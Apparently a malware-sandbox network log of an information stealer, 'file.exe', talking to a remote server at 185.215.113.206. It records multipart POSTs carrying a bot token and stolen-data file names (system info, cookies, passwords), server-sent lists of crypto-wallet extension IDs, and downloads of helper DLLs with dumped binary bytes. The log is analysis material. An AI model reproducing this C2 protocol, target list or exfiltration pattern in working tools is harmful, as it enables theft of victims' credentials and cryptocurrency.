Nov 11, 2024 12:40:06.159523964 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 11, 2024 12:40:06.159537077 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 11, 2024 12:40:06.159724951 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 11, 2024 12:40:06.169699907 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="message"fplugins------AAKKKEBFCGDBGDGCFHCB--
Nov 11, 2024 12:40:06.371340990 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 11, 2024 12:40:06.388864994 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCG Host: 185.215.113.206 Content-Length: 5447 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 12:40:06.388911009 CET	5447	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 11, 2024 12:40:07.108047009 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:07.406656981 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 12:40:07.608352900 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 11, 2024 12:40:07.608372927 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Nov 11, 2024 12:40:07.608392000 CET	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B
Nov 11, 2024 12:40:07.608405113 CET	1236	IN	Data Raw: fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 ea fc ff ff 83 ec 0c eb 8a 90 8d 74 26 00 83 fb 01 75 70 e8 c6 e4 0a 00 89 7c Data Ascii: t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49755	185.215.113.206	80	6404	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:40:15.555782080 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.215.113.206 Content-Length: 999 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 12:40:15.555850029 CET	999	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 11, 2024 12:40:16.705260038 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:16.798232079 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="file"------HIDHIEGIIIECAKEBFBAA--
Nov 11, 2024 12:40:17.492007971 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49827	185.215.113.206	80	6404	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:40:24.064904928 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 12:40:24.064928055 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 11, 2024 12:40:25.199239969 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:25.422020912 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="file"------BAFCGIJDAFBKFIECBGCA--
Nov 11, 2024 12:40:26.119752884 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:26.856098890 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 12:40:27.057908058 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 11, 2024 12:40:27.057955027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 11, 2024 12:40:27.057966948 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 11, 2024 12:40:27.057977915 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 11, 2024 12:40:27.058007002 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 11, 2024 12:40:27.058020115 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 11, 2024 12:40:27.058031082 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 11, 2024 12:40:27.058043003 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 11, 2024 12:40:27.058053970 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 11, 2024 12:40:27.058065891 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 11, 2024 12:40:28.200417042 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 12:40:28.400036097 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 11, 2024 12:40:28.922787905 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 12:40:29.122876883 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 